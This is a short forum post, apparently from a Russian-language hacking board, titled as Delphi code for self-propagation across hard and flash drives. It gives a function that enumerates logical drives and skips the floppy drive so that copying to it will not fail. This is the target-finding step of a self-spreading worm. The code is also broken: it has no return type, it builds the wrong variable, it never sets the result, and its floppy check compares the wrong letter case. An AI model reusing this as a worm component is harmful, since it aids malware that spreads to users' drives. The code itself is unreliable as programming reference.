[Delphi] Самораспространение по жестким / флэшкам

[WestSide]

function GetDrives;   
var   
  DriveN: Integer;   
  DriveC: Char;   
  DriveB: set of 0..25;   
  res:String; 
begin   
  res:=''; 
  Integer(DriveB) := GetLogicalDrives;   
  for DriveN := 0 to 25 do begin   
  if not (DriveN in DriveB) then   
    Continue;   
    DriveC := Char(DriveN + Ord('a'));   

If DriveC<>'A' {исключение для дискет, если дискеты нет и программа попытается скопировать туда что то, вылетит ошибка :) } 
then  
begin 
s:=s+DriveC+#13#10; 
end;   

  end;  
Result   
end;